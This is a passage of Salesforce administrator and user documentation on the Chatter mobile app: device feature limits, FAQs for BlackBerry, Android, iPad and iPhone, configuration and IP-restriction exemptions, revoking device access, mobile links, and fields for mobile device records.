Customers that manage BlackBerry devices with a BlackBerry Enterprise Server can use Application Push to remotely deliver
the Chatter mobile app to users. Navigate to downloads.salesforce.com/downloads/mobile/index.html and
click BESpush under Chatter Files and Tools to download the Application Push package.

984

Salesforce Mobile

Chatter Mobile App Overview

The Chatter mobile app is enabled for use in most organizations by default. If it is not enabled in your organization or you
want to change the default settings, see Configuring the Chatter Mobile App.

Limitations
The Chatter mobile app does not have all of the functionality of Chatter on the Web. The following table shows the mobile
app limitations for each device.
Android

BlackBerry

iPhone/iPod Touch iPad

Update your profile or change your profile photo No

No

No

No

Post files other than images

No

Yes

No

Yes

View the Files page and Chatter feeds for files No

No

No

No

Follow files and search for files

No

Yes

No

No

View files related to a person or group

Yes

Yes

Yes

Yes

Search for records and follow records

No

No

No

No

Search for Chatter feed items

No

Yes

No

No

Search for updates associated with a topic

No

Yes

No

No

Create groups

No

No

No

No

Invite coworkers to sign up for Chatter

No

No

No

No

Add or view Chatter favorites

No

No

No

No

Access Chatter as a customer

Yes

Yes

Yes

Yes

View and send Chatter private messages

No

Yes

No

No

Receive Chatter push notifications

No

Yes

No

No

See Also:
Chatter for Android Phones FAQ
Chatter FAQs
Chatter for iPad FAQs
Using Chatter for iPhone and iPod Touch
Chatter Overview
Salesforce Mobile Overview
Mobile Lite Overview

985

Salesforce Mobile

Chatter Mobile App Overview

Chatter FAQs
Available in: All Editions except Database.com

Where is the Chatter tab?


How do I post and comment?
What keyboard shortcuts can I use?
How do I search for items in the Chatter mobile app?
How do I filter Chatter updates to see only those that mention me?
How do I view and send Chatter messages in the mobile app?
What are push notifications? How do I enable them?
Can customers use the Chatter mobile app?
How do I connect to different instances of Chatter or Salesforce?
What is the benefit of connecting Chatter to BlackBerry Messenger?

Where is the Chatter tab?


You navigate Chatter differently in the BlackBerry mobile app than you do on the web. Many of the options you find on the
Chatter tab in the web app are available from the Chatter menu in the BlackBerry mobile app. Select the Chatter icon in the
upper left corner of the app to open a navigation menu containing commonly accessed Chatter features, like your Chatter
feed, messages, lists, the @ Me filter, and search.
As with most BlackBerry apps, you can press the physical menu button on your device while using Chatter to open a menu
containing context-sensitive options related to the current screen.
How do I post and comment?

To update your status, select Chatter > My Chatter, then press the menu key and select New Update.

To post to a group feed, select Chatter > Groups and select the group. Select
, or press the menu key and select New
Post.
To post to someone's profile feed, select Chatter > People. Choose the person whose profile you want to view and select

. You can also press the menu key and select New Post.
To comment on a post or update, select the post or update to open the detail page, then select Comment.
Tip: When posting, choose

to select from the photos on your device, or

to take a picture to attach to the post.

What keyboard shortcuts can I use?


You can use the following shortcuts:

c = Enter a comment.
t = Go to the top of the feed.
b = Go to the bottom of the feed.
m = Load more posts.

986

Salesforce Mobile

Chatter Mobile App Overview

How do I search for items in the Chatter mobile app?


To find Chatter feeds, groups, people, or files:
1. Select Chatter > Search.
2. Enter your search terms in the search box.
3. Use the Chatter, People, Groups, and Files tabs below the search box to select the type of items you want to find.
4. Choose
.
5. From the search results, choose an item to open it.
Tip: If your BlackBerry device is running OS 6 or higher, you can also find Chatter items using BlackBerry universal
search. Select the search icon on your BlackBerry home screen, enter your search terms, then select one of the Chatter
icons to launch the search in the Chatter mobile app.
How do I filter Chatter updates to see only those that mention me?
In the Chatter mobile app, the @ Me filter is available as an option on the Chatter menu. Select Chatter > @ Me to display
both posts others make to your Chatter feed as well as updates where you were mentioned.
How do I view and send Chatter messages in the mobile app?
Chatter private messages let you have secure conversations with other Chatter users. Select Chatter > Messages to view your
messages in the mobile app.
To send a Chatter message:
1.
2.
3.
4.
5.
6.

Select Chatter > Messages.


Press the menu key and choose New Message.
Search for a person and select their name in the People list.
To add additional recipients, select the To field.
Write your message.
Select Send.
Tip: You can also select

on someones profile to send them a message.

What are push notifications? How do I enable them?


Push notifications are alerts that Chatter sends to your BlackBerry home screen and your Messages inbox when you're not
using the Chatter mobile app. The Chatter mobile app uses push notifications to keep you aware of important Chatter activity
without requiring you to return to the app. A setting controls whether or not you receive Chatter push notifications; however,
you can't enable push notifications if they were disabled by your administrator.
To enable or disable push notifications:
1. Navigate to the BlackBerry Settings screen for third party applications and choose Chatter.
2. Select the Enable Chatter push notifications option.
3. Optionally select the Send push notifications to my BlackBerry inbox option if you want push notifications
to appear both on your devices home screen and in the Messages app.
4. Select Save from the menu.
To change the sound alert for push notifications:
1. Navigate to the BlackBerry Settings screen for third party applications and choose Sounds and Ringtones.

987

Salesforce Mobile

Chatter Mobile App Overview

2. Select Sounds for Selected Profile, then select Other Applications Notifiers.
3. Choose Chatter.
4. Adjust the sound alert settings, then select Save from the menu.
Can customers use the Chatter mobile app?
Customers are users outside of your company's email domains. They have very limited Chatter access and can only see groups
they're invited to and interact with members of those groups. The Chatter mobile app for BlackBerry supports access for
customers. Customers and groups with customers are identified as customers in the mobile app. The Chatter mobile app
applies the same restrictions to customers as Chatter on the Web.
How do I connect to different instances of Chatter or Salesforce?
To connect to another instance of Chatter or Salesforce:
1. Navigate to the BlackBerry Settings screen for third party applications and choose Chatter.
2. In the Login Host drop-down menu, select Production, Sandbox, or Custom.
Production is selected by default. Choose Sandbox to connect to a Force.com sandbox organization for testing and training.
To use the Chatter mobile app with single sign-on, choose Custom and enter the custom login URL for your network.
3. Press the menu key and select Save.
What is the benefit of connecting Chatter to BlackBerry Messenger?
With the Chatter mobile app connected to BlackBerry Messenger (BBM), you can easily share information in Chatter with
your BBM contacts who also use Chatter. The Chatter mobile app can also update your BBM profile with your latest activities
in Chatter.
To connect the Chatter mobile app to BBM:
1. Visit the BlackBerry App World from your device and upgrade to the latest version of BlackBerry Messenger. The minimum
requirement is BlackBerry Messenger 6.0.
If youve never used BlackBerry Messenger, complete the BBM setup process on your device before attempting to connect
Chatter to BBM.
2. Visit the BlackBerry App World from your device and upgrade to the latest version of Chatter. The minimum requirement
is Chatter 3.0.
3. Go to the BlackBerry Settings screen for Chatter, select the Connect Chatter to BBM option, then save your changes.
4. Open the Chatter mobile app.
5. When prompted to connect Chatter to BlackBerry Messenger, select Connect, then select Edit Settings.
The prompt only displays if youre using BlackBerry Messenger 6.0 or higher.
6. In the Connect to BBM drop-down list, select Connected.
7. Optionally, select the Post recent activities to my profile checkbox to let Chatter update your BBM status
with recent app activities.
8. Optionally, select the Ignore invitations to become a BBM contact checkbox to prevent other Chatter users
in your company from sending you BBM contact invites.
9. Press the menu key and select Close.
10. Select Save, then select OK.

988

Salesforce Mobile

Chatter Mobile App Overview

To share information in Chatter with BBM contacts, navigate to the user profile, group profile, record, or file, press the menu
key, and select Share via BBM.

See Also:
Chatter Mobile App Overview
Bypassing IP Restrictions for Chatter Mobile App Users
Configuring the Chatter Mobile App
Viewing Chatter Mobile App Activity and Revoking Access

Chatter for Android Phones FAQ

How do I get started using the Chatter mobile app?


How do I post and comment?
How do I refresh a feed?
How do I filter Chatter updates to see only those that mention me?
How do I search for people and groups?
How do I view and send Chatter messages?
Can customers use the Chatter mobile app?
How do I connect to different instances of Chatter or Salesforce?

See Also:
Chatter Mobile App Overview
Bypassing IP Restrictions for Chatter Mobile App Users
Configuring the Chatter Mobile App
Viewing Chatter Mobile App Activity and Revoking Access

How do I get started using the Chatter mobile app?


Before users can log into the Chatter mobile app, an administrator must:
1.
2.
3.
4.
5.
6.

Log into Salesforce through a Web browser.


Click Your Name > Setup > Mobile Administration > Chatter Mobile > Settings.
Enable Chatter mobile for your organization.
Specify the types of mobile devices that can use the Chatter mobile app.
Click Save.
If your organization restricts login IP ranges, click Your Name > Setup > Mobile Administration > Chatter Mobile >
IP Restricted Users and specify the users and groups that need to access the Chatter mobile app outside of your organization's
login IP range.

Restart the Chatter mobile app if configuration changes in Salesforce do not appear on your mobile device.

989

Salesforce Mobile

Chatter Mobile App Overview

How do I post and comment?


To post to a feed, navigate to the feed and tap
When posting, choose

. To comment on a post, navigate to the post and tap

to select from the photos on your device, or

to take a picture to attach to the post.

How do I refresh a feed?


To refresh a feed, tap

How do I filter Chatter updates to see only those that mention me?
Open the menu, then choose @ Me to display both posts others make to your Chatter feed as well as updates where you have
been mentioned.

How do I search for people and groups?


To find people:
1. Open the menu, then choose People.
2. Choose Everyone.
3. Enter search terms in the search box, then press ENTER.
To find groups:
1. Open the menu, then choose Groups.
2. Choose All Groups.
3. Enter search terms in the search box, then press ENTER.
Currently, you can't search for feed items or files in the Chatter mobile app for Android.

How do I view and send Chatter messages?


The Chatter mobile app for Android doesn't currently support Chatter messages.

Can customers use the Chatter mobile app?


Customers are users outside of your company's email domains. They have very limited Chatter access and can only see groups
they're invited to and interact with members of those groups. In the Chatter mobile for Android, the names and profiles of
customer users can be viewed by people inside your company's domain.
Customers can install the mobile app to use Chatter from their device. The Chatter mobile app applies the same restrictions
to customers as Chatter on the Web.

How do I connect to different instances of Chatter or Salesforce?


To connect to another instance of Chatter or Salesforce such as Sandbox:

990

Salesforce Mobile

1.
2.
3.
4.

Chatter Mobile App Overview

If you're logged in to Chatter on your phone, log out and relaunch the app. The Login screen appears.
Press the menu button on your phone.
Tap Add Custom Instance.
Name the connection and enter the URL you use to log in to that instance, then tap Authenticate.
Important: The URL you enter must start with https://.

Chatter for Android Tablets FAQ


Available in: Group, Professional, Enterprise, Unlimited, Contact Manager, and Developer Editions

How do I get started using Chatter for Android Tablets?


How do I connect Chatter for Android Tablets to different instances of Chatter or Salesforce?
What OS versions does Chatter for Android Tablets support?
How do I post and comment in Chatter for Android Tablets?
Can I send private Chatter messages from Chatter for Android Tablets?
Can customer users use Chatter for Android Tablets?
How do I filter Chatter updates to see only those that mention me in Chatter for Android Tablets?
How do I refresh a feed in Chatter for Android Tablets?
How do I search for people and groups in Chatter for Android Tablets?
Does Chatter for Android Tablets have status bar notifications?
Does Chatter for Android Tablets have a widget?

How do I get started using Chatter for Android Tablets?


Download the Chatter Android tablet app directly to your tablet from the Android Market. Before users can log into the
Chatter Android tablet app, an administrator must:
1.
2.
3.
4.
5.
6.

Log into Salesforce or Chatter through a Web browser.


Click Your Name > Setup > Mobile Administration > Chatter Mobile > Settings.
Enable Chatter for your organization.
Select Android under Authorized Devices.
Click Save.
If your organization restricts login IP ranges, click Your Name > Setup > Mobile Administration > Chatter Mobile >
IP Restricted Users and specify the users and groups that need to access the Chatter Android tablet app outside of your
organization's login IP range.

Restart the Chatter Android tablet app if configuration changes in Salesforce do not appear on your tablet.

991

Salesforce Mobile

Chatter Mobile App Overview

How do I connect Chatter for Android Tablets to different instances of Chatter or Salesforce?
To connect to another instance of Chatter or Salesforce:
1. If you're logged in to Chatter Android tablet app, log out and relaunch it. The Login screen appears.
2.
3.
4.
5.

Tap
, then Change Server.
Tap Add Connection.
Enter a name for the connection, such as Sandbox.
Enter the URL you use to log in to that instance.
Important: The URL you enter must start with https://.

6. Tap Apply. The login screen appears.


7. Enter your user name and password, and follow the prompts.

What OS versions does Chatter for Android Tablets support?


The Chatter Android tablet app runs on Android tablets with OS version 3.0 and higher. If you install the Chatter Android
tablet app on a tablet with OS version 2.2, the tablet launches the Android Chatter phone app instead.

How do I post and comment in Chatter for Android Tablets?


To post to a feed, navigate to the feed and tap
When posting, tap

. To comment on a post, navigate to the post and tap

to select from the photos on your device, or

to take a picture to attach to the post.

Can I send private Chatter messages from Chatter for Android Tablets?
The Chatter app for Android tablets doesn't currently support private Chatter messages.

Can customer users use Chatter for Android Tablets?


Customers are users outside of your company's email domains. They have very limited Chatter access and can only see groups
they're invited to and interact with members of those groups. In the Chatter mobile for Android, the names and profiles of
customer users can be viewed by people inside your company's domain.
Customers can install the mobile app to use Chatter from their device. The Chatter mobile app applies the same restrictions
to customers as Chatter on the Web.

How do I filter Chatter updates to see only those that mention me in Chatter for Android Tablets?
Tap

to display both posts others make to your Chatter profile and updates that mention you.

992

Salesforce Mobile

Chatter Mobile App Overview

How do I refresh a feed in Chatter for Android Tablets?


The Chatter Android tablet app refreshes automatically every few minutes when youre online. You can also manually refresh
feeds by tapping

How do I search for people and groups in Chatter for Android Tablets?
To search for people, tap

, then

To search for groups, tap

, then

Does Chatter for Android Tablets have status bar notifications?


The current version of the Chatter Android tablet app does not have status bar notifications, but future releases will.

Does Chatter for Android Tablets have a widget?


Yes, the Chatter Android tablet app has a widget that you can add to your tablet home screen the same way you add widgets
for other apps.

Chatter for iPad FAQs


Available in: All Editions except Database.com

How do I post and comment?


How do I refresh a feed?
How do I search for people and groups?
How do I filter Chatter updates to see only those that mention me?
How do I view and send Chatter messages in the mobile app?
How do I log out?
What does it mean when a Chatter group has customers?
How do I connect to different instances?

See Also:
Chatter Mobile App Overview
Bypassing IP Restrictions for Chatter Mobile App Users
Configuring the Chatter Mobile App
Viewing Chatter Mobile App Activity and Revoking Access

993

Salesforce Mobile

Chatter Mobile App Overview

How do I post and comment?


How do I post and comment?
To post to a feed, navigate to the feed and tap
tap

. To comment on a post, tap the post to open the comments panel, then

.
Tip: When posting, tap

to select a photo from your device. When posting from a device with a camera, tap

to take a picture to attach to the post. You can also tap

to attach a file to your post.

How do I refresh a feed?


How do I refresh a feed?
To refresh a feed, scroll to top of the feed, then drag your finger down and release.

How do I search for people and groups?


How do I search for people and groups?
To search for people or groups on an iPad, go to the People or Groups tab, type your search terms in the header search box,
then tap Search.
Currently, you can't search for feed items, mentions, or updates associated with a specific topic. Also, you cant search for files
unless youre in the process of attaching a file to a post.

How do I view and send Chatter messages in the mobile app?


How do I view and send Chatter messages in the mobile app?
Currently, you cant view or send Chatter messages in the iPad app.

How do I log out?


How do I log out?

Tap

, tap your username, tap Log Out, then tap Log Out again.

994

Salesforce Mobile

Chatter Mobile App Overview

What does it mean when a Chatter group has customers?


What does it mean when a Chatter group has customers?
If a group is private, the group owner and managers can invite customers to join the group. Customers are users outside of
your company's email domains. They have very limited Chatter access and can only see groups they're invited to and interact
with members of those groups. Chatter customers and groups with customers are identified throughout the mobile app using
orange text.
Currently, customers can't use the Chatter mobile app for iPad.

How do I connect to different instances?


How do I connect to different instances?
By default, the Chatter mobile app is set up to connect to your production environment. If you want to connect to your sandbox
environment for testing purposes or redirect to a single sign-on location, you can configure the app to point to a different
URL during login. To change the login host::
1. Log out of the Chatter mobile app.
2. On the Sign In page, tap the Settings icon.
3. Tap + to add a new connection.
You can also select one of the predefined instances (Production or Sandbox).
4.
5.
6.
7.
8.

Enter the login URL of the new instance. Dont add http:// to the URL; it will be appended automatically.
Optionally enter a name for the new instance.
Tap Done.
Tap the name of the newly created instance.
Enter your username and password, then tap Login.

How do I filter Chatter updates to see only those that mention me?
How do I filter Chatter updates to see only those that mention me?
Tap

to display both posts others make to your Chatter feed, as well as updates where you have been mentioned.

Using Chatter for iPhone and iPod Touch


Available in: All Editions except Database.com

How do I post and comment?


How do I refresh a feed?
What shows up on the @ Me tab?
How do I search for people and groups?

995

Salesforce Mobile

Chatter Mobile App Overview

How do I view and send Chatter private messages?


How do I enable or disable push notifications?
How do I log out?
Can customers use the Chatter mobile app?
How do I connect to different instances?

How do I post and comment?

To post to a feed, navigate to the feed and tap

To comment on a post, tap a post in the feed to view it, then tap

Tip: You dont have to view a post to comment on it you can comment on a post directly from the feed using a
shortcut. Swipe your finger horizontally across the feed item to reveal a hidden menu, then tap
to write a
comment. You can also like and delete posts from the shortcut menu. To close the menu without taking any action,
swipe horizontally again.

How do I attach files and photos to my posts?


When composing your post:

Tap

to attach a photo. You can take a new photo or select an existing photo.

Tap
to attach a file to your post. In the Chatter mobile app, you can attach any file you have access to in either
Salesforce CRM Content libraries or in Chatter. Currently, you cant share files stored locally on your iPhone.
How do I refresh a feed?
To refresh a feed, scroll to top of the feed, then drag your finger down and release.
What shows up on the @ Me tab?

In the Chatter mobile app, the @ Me filter is available as a tab. Tap


feed, as well as updates where you have been mentioned.

to display posts others make to your Chatter

How do I search for people and groups?


You can search for people and groups in the Chatter mobile app, but currently you cant search for feed updates, mentions, or
updates associated with a specific topic. Also, you cant search for files unless youre in the process of attaching a Salesforce
file to a post.
To find people and groups:
1. Go to the People tab to search for a person, or go to the Groups tab to search for a group.
2. Drag the page down to reveal the search box.

996

Salesforce Mobile

Chatter Mobile App Overview

Note: The search box is hidden. You cant see it until you drag the page down.

3. Enter your search terms in the search box.


4. Tap Search.
5. From the search results, tap an item to open it. Tap Cancel to clear the search results and return to the list of people or
groups.
How do I view and send Chatter private messages?
The Chatter mobile app for iPhone and iPod Touch doesn't currently support Chatter messages.
How do I enable or disable push notifications?
Push notifications are alerts that Chatter sends to your iPhone to keep you aware of important feed activity, such as when
someone mentions you in a post or comment. A setting controls whether or not you receive Chatter push notifications; however,
you can't enable push notifications if they were disabled by your administrator.
To enable or disable push notifications:
1. From your device home screen, tap Settings > Notifications.
2. Tap Chatter.
3. Turn notifications on or off.
How do I log out?
To log out, tap the Settings icon, tap your username, tap Log Out, then tap Log Out again.
Can customers use the Chatter mobile app?
Customers can install the mobile app to use Chatter from their device. The Chatter mobile app applies the same restrictions
to customers as Chatter on the Web.
How do I connect to different instances?
By default, Chatter for iPhone is set up to connect to your production environment. If you want to connect the Chatter mobile
app to your sandbox environment for testing purposes or redirect to a single sign-on location, you can configure the app to
point to a different page during login. To change the login host:
1. Log out of the Chatter mobile app.
2. On the Log In page, tap the Settings icon.
3. Tap + to add a new login host.
You can also select one of the predefined instances (Production or Sandbox).
4. Enter the host name of the new instance. Dont include http:// in the host name.
5. Optionally, enter a label for the new instance.
6. Tap Done.

997

Salesforce Mobile

Chatter Mobile App Overview

7. Tap the name of the newly created instance, then log in.

See Also:
Chatter Mobile App Overview
Bypassing IP Restrictions for Chatter Mobile App Users
Configuring the Chatter Mobile App
Viewing Chatter Mobile App Activity and Revoking Access

Configuring the Chatter Mobile App


Available in: All Editions except Database.com

User Permissions Needed


To view mobile settings:

View Setup and Configuration

To change mobile settings:

Manage Mobile Configurations

To configure access to the Chatter mobile app in your organization:


1.
2.
3.
4.

Log into Salesforce.


Click Your Name > Setup > Mobile Administration > Chatter Mobile > Settings.
Click Edit.
Select Enable Chatter Mobile. Users receive an error message if they try to use the Chatter mobile app in an
organization in which the app is disabled.
Note: You cannot deauthorize the use of the Chatter mobile app for BlackBerry devices in your organization.

5. Select the mobile device types your organization allows to use Chatter mobile app. The Chatter mobile app displays an
error message if a user tries to use the Chatter mobile app on a restricted device.
6. Optionally, enable push notifications. Push notifications are alerts that apps render on mobile device home screens when
users are not using the app. These alerts can consist of text, icons, and sounds, depending on the device type.
The Chatter mobile app uses push notifications to keep users aware of important Chatter activity without requiring users
to return to the app. For example, push notifications can notify a user when someone posts on the user's profile, mentions
the user in a post, comments on the user's post, and more.
7. Optionally, set the session security timeout for the Chatter mobile app. When a session expires, users must enter their
passcode to access the Chatter mobile app on their mobile device. You dont need to set this option if the operating system
automatically locks the device after a period of inactivity.
8. Click Save.
9. If your organization restricts login IP ranges, exempt the users and groups that need to access the Chatter mobile app
outside of your organization's login IP range. You do not need to exempt users with BlackBerry devices; BlackBerry devices

998

Salesforce Mobile

Chatter Mobile App Overview

must already have Internet connectivity through a BlackBerry Enterprise Server with an IP address that falls within the
Salesforce login IP ranges.
10. Restart the Chatter mobile app if configuration changes in Salesforce do not appear on your mobile device.

See Also:
Setting Login Restrictions
Salesforce Mobile Overview
Chatter Overview
Chatter Mobile App Overview
Viewing Chatter Mobile App Activity and Revoking Access

Bypassing IP Restrictions for Chatter Mobile App Users


Available in: All Editions except Database.com

User Permissions Needed


To view mobile settings:

View Setup and Configuration

To change mobile settings:

Manage Mobile Configurations

If your organization has trusted IP ranges, specify the users that can use the Chatter mobile app outside of those ranges.
Important:

Users cannot use the Chatter mobile app outside of your trusted IP ranges unless you specifically include them or
their group in the list of users who can bypass the login IP restrictions.
The users you specify can only bypass the restrictions with the Chatter mobile app; they can't access Salesforce
through a Web browser outside of the trusted IP ranges.
You do not need to specify users with BlackBerry devices. BlackBerry devices must already connect through a
BlackBerry Enterprise Server with an IP address in a trusted Salesforce IP range.
To specify trusted IP ranges, click Your Name > Setup > Security Controls > Network Access.

To specify which users and groups can use the Chatter mobile app outside of your organization's login IP range:
1. Click Your Name > Setup > Mobile Administration > Chatter Mobile > IP Restricted Users.
Note: The IP restriction bypass settings appear only in organizations with profile-based IP restrictions.

2. Specify the users and groups that can bypass the restrictions with the Chatter mobile app.
3. Click Send Email. Salesforce sends them an email with download links for the mobile apps your organization supports
and a unique activation link. Users must click the activation link on their device to use the Chatter mobile app.

999

Salesforce Mobile

Chatter Mobile App Overview

Important: Users with IP restrictions cannot use the Chatter mobile app unless they click the activation link
from their mobile device. The activation link cannot be shared or transferred.

See Also:
Setting Login Restrictions
Salesforce Mobile Overview
Chatter Overview
Chatter Mobile App Overview
Configuring the Chatter Mobile App

Viewing Chatter Mobile App Activity and Revoking Access


Available in: All Editions except Database.com

User Permissions Needed


To view Chatter mobile app activity and revoke access to the Manage Mobile Configurations
Chatter mobile app:

To view Chatter mobile app activity in your organization, including the date each user activated or used the app, click Your
Name > Setup > Mobile Administration > Chatter Mobile > Users and Devices.
You can also remotely revoke access to the Chatter mobile app for a specific device if the device is lost or stolen. Revoking
access prevents the device from accessing Chatter and deletes Chatter data from the device the next time the device attempts
to synchronize with Salesforce.
To revoke access for your own mobile device:
1. Click Your Name > Setup > Manage Users > Users.
2. Click your name.
3. In the Remote Access related list, click Revoke next to the entry for the Chatter mobile app.
To revoke access for mobile devices owned by other users:
1. Click Your Name > Setup > Mobile Administration > Chatter Mobile > Users and Devices.
2. Select the users for whom you want to revoke access.
3. Click Revoke.

See Also:
Salesforce Mobile Overview
Chatter Mobile App Overview
Configuring the Chatter Mobile App

1000

Salesforce Mobile

Creating Mobile Links

Creating Mobile Links


To improve the integration between the mobile client application, Visualforce Mobile, and external websites, you can optionally
create links from native Salesforce records to Visualforce Mobile pages or external websites. To create the links, build text
formula fields on a standard or custom object. The field must be visible on the page layout to appear in the mobile application.
The best practice is to include all embedded links in a separate section labeled Mobile Links at the bottom of the page layout.
There is currently no way to hide these links in Salesforce, but users can collapse the section to keep the links out of the way.
To create a link from a native record to a Visualforce Mobile page or Web page:
1. Create a custom field by navigating to the fields area of the appropriate object:

For standard objects, click Your Name > Setup > Customize, then select the appropriate object from the Customize
menu, and click Fields.
For custom objects, click Your Name > Setup > Create > Objects, and select one of the custom objects in the list.

2. Click New in the Custom Fields & Relationships section of the page.
3. Select Formula, then click Next.
4. Enter the field label.
The field name is automatically populated based on the field label you enter.
5. Select Text, then click Next.
6. In the formula editor, create the link to the custom Visualforce page or external website:

To create a Visualforce link, type "visualforce:///apex/PageName", and replace PageName with the name
of your Visualforce page. You can append parameters to the string, such as ?contactid=" & Id", in order to pass
information from the record in the client application to the Visualforce page.
To create a Web link, type "weblink:", followed by the URL to which you want the link to point, such as
"weblink:http://www.salesforce.com". You can append parameters to the string in order to pass information
from the record in the client application to the Web page. For example, the following Web link launches a social
networking site from a contact record and performs a search for the contact:
"weblink:http://m.linkedin.com/members?search_term=" &FirstName& "+" &LastName&
"&filter=name&commit=Search"

Note: The client application passes the Visualforce or Web link with all parameters to the embedded browser.
It is up to the website or Visualforce Mobile page to interpret any parameters. Be sure to construct your
Visualforce Mobile page to consume any parameters passed in the link.
7. Click Next.
8. Set the field-level security to determine whether the field should be visible or read only for specific profiles, and click Next.
9. Choose the page layouts that should display the field. In the next step, you will customize the layout to change the location
of the field on the page.
10. Click Save.
11. Edit the object's page layout:

For standard object page layouts, select Your Name > Setup > Customize, select the object, and choose the Page
Layouts link. Click Edit next to the name of the page layout you want to modify.

1001

Salesforce Mobile

Sending Emails to Mobile Users

For custom object page layouts, select Your Name > Setup > Create, select the object, and scroll to the Page Layouts
section. Click Edit next to the name of the page layout you want to modify.

12. Drag a Section element from the palette to the page layout and drop it below the existing sections.
13. In the Section Name field, type Mobile Links.
14. Deselect the Edit Page option.
15. Select the 1-column layout, then click OK.
16. Drag the new text formula field from its current location into the new Mobile Links section.
17. Click Save.

See Also:
Salesforce Mobile Overview
Managing Mobile Configurations
Managing Mobile Tabs
Visualforce Overview

Sending Emails to Mobile Users


Available in: Unlimited and Developer Editions
Available for an additional cost in: Professional and Enterprise Editions

When you're ready to deploy the mobile application to your users, send them an email to notify them about the availability of
the application and provide installation instructions. You can send the email using your corporate email application, like
Outlook, or you can send mass email from Salesforce. Either way, include the URL that launches the download:

For BlackBerry and Windows mobile users, the download URL is mobile.salesforce.com. The link is the same for
the initial download and for subsequent upgrades.
You can obtain the iPhone download URL from iTunes. Open iTunes, click iTunes Store, then search for Salesforce
Mobile. Click the application icon to view details about the app. At the top of the iTunes window is a bread crumb path
representing the application's location in the App Store: App Store > Business > Salesforce Mobile. Drag-and-drop the
path into a text editor or word processing program to display the download URL for the application.

To send mass email to mobile users from Salesforce:


1. Create an email template informing users about the initial installation. Optionally, create a separate email template for
upgrade notifications. Include the download link in the templates.
2. Create a custom view on the Mass Email page showing only mobile users.
Note: The Mobile User checkbox indicates that users have a mobile license, and a mobile license enables them
to use Salesforce Mobile, which is the full version of the mobile application. Mobile Lite users do not need a mobile
license to use the mobile application, so you must use different filter criteria to create a view for Mobile Lite users.
Try filtering based on roles or profiles instead.
3. Send mass email to your mobile users using the custom view that you created.

1002

Salesforce Mobile

Managing Mobile Devices

Managing Mobile Devices


Available in: All Editions except Database.com

User Permissions Needed


To view mobile devices and users:

View Setup and Configuration

To manage mobile devices:

Manage Mobile Configurations

After a user installs the mobile application on their wireless device and logs in for the first time, Salesforce collects the device
information and associates the device with the user's record. The device information is read only. While the device entry is
created automatically, you can still view and manage all the mobile users and devices in your organization by clicking Your
Name > Setup > Mobile Administration > Salesforce Mobile > Users and Devices.
From the All Mobile Users and Devices page:

You can view the list of users in your organization who have been enabled to use Salesforce Mobile.
You can create custom list views to see different subsets of your mobile users (see Creating Custom List Views on page
272). For example, create a view that shows the mobile users who have never logged in to Salesforce from their devices to
evaluate your organization's mobile deployment efforts.
To view details about a mobile device, click the device address. See Viewing Mobile Device Information on page 1004.
To view details about a specific user, click the username.
To view details about a mobile configuration, click the mobile configuration name.
The buttons on the All Mobile Users and Devices page let you perform actions on multiple mobile users at one time. You
can:
Adjust the mobile session timeout value
Erase the Salesforce data from a user's device
Delete a device from a user's record

To find out why a user's device is not synchronizing, hover your mouse over the red error icon in the Status column.
Additional information about the synchronization errors appears on the device's detail page. See Viewing Mobile Device
Information on page 1004.
Note: You can also manage mobile users from the Assigned Mobile Devices related list on the user detail page.

See Also:
Supported Devices for Mobile
Sending Emails to Mobile Users
Salesforce Mobile Overview
Managing Mobile Configurations

1003

Salesforce Mobile

Managing Mobile Devices

Viewing Mobile Device Information


Available in: Unlimited and Developer Editions
Available for an additional cost in: Professional and Enterprise Editions

Salesforce collects information about a mobile user's device the first time the user logs in to the mobile application. There are
two ways to access the device details:

Click Your Name > Setup > Mobile Administration > Salesforce Mobile > Users and Devices, and then click a device
address in the list view.
Click Your Name > Setup > Manage Users > Users. Click Edit next to a user's name, and then click the device address
in the Assigned Mobile Devices related list.

From the Mobile Device page, you can:

Review device information


Adjust the mobile session timeout value
Erase the Salesforce data from a user's device
Delete a device from a user's record

Below is a description of the fields in alphabetical order that are stored for each mobile device in your organization.
Field

Description

Brand

The brand of the mobile device, if available.

Carrier

The name of the carrier providing service for the mobile device,
if available.

Connected Since

The date and time the device established a connection to the


mobile server. The device loses a connection when the battery
dies or when the session is closed because the server has not
received data from the device for a long period of time.

Connection Status

The state of the device connection. Possible values for this


field are Connected, Not Connected, and Not Available.

Created By

The name of the first user who registered the mobile device
and the time and date the registration occurred.

Data Size

The size of the Salesforce data currently stored on the user's


mobile device. The mobile device periodically sends this
information to Salesforce, which is helpful when
troubleshooting synchronization errors resulting from an
exceeded data limit.

Device Address

The unique PIN of the user's mobile device.

Device Model

The model of the mobile device.

1004

Salesforce Mobile

Managing Mobile Devices

Field

Description

Is Simulator?

A flag indicating whether the device is a simulator or a mobile


device. A simulator is a software application that emulates the
behavior of a mobile device.

Last Activated

The last time a full data set was downloaded to the mobile
device. If a user's data set exceeds the limit defined in the
assigned mobile configuration, the device can be registered
but not activated.

Last Data Received

The last time data was received from the device. This
information is helpful for troubleshooting connection issues.

Last Registration

The last time a user registered the mobile device. The


registration process creates the device record in Salesforce and
associates it with the user who registered it.

Last Status Date

The last time the mobile device notified Salesforce that the
device is no longer synchronizing data due to an error. The
Last Status Date field is only visible when an error is
present.

Manufacturer

The manufacturer of the mobile device.

Metadata Size

The size of the Salesforce metadata currently stored on the


user's mobile device. Metadata consists of page layout and
schema information, and the amount of metadata sent to a
device can be very high depending on the size of your
organization and the complexity of its setup.

Modified By

The name of the last user who registered the mobile device
and the time and date the registration occurred.

Number of Pending Outgoing Messages

The number of messages queued on the mobile server waiting


to be sent to the device.

Operating System

The type of operating system installed on the mobile device:


BlackBerry, iPhone, or Windows Mobile.

Operating System Version

The version number of the operating system installed on the


mobile device.

Phone Number

The phone number associated with the mobile device.

Salesforce Mobile Version

The version number and build number of the mobile client


application installed on the device.

Size of Pending Outgoing Messages (Bytes)

The total data size of the messages queued on the device


waiting to be sent to the mobile server. Because the server
processes messages almost instantaneously, this value is usually
0.

Size of Outgoing Messages (Bytes)

The total data size of the outbound message queue on the


mobile server.

1005

Salesforce Mobile

Managing Mobile Devices

Field

Description

Status

Indicates whether any synchronization errors exist between


the device and Salesforce. The Status field is only visible
when an error is present. The two error statuses are Data Limit
Exceeded and Unknown Error.

Username

The Salesforce username of the user who is associated with


the mobile device.

Note: If Salesforce detects the selected device was registered by a user in another organization, an error displays on
the device detail page. This can happen when a device was registered to a user in your sandbox organization and then
later activated by a user in your production organization. To remove the old device record from your organization,
simply delete the device.

Setting Mobile Session Timeout Values


Available in: Unlimited and Developer Editions
Available for an additional cost in: Professional and Enterprise Editions

User Permissions Needed


To set mobile session timeout values:

Manage Mobile Configurations

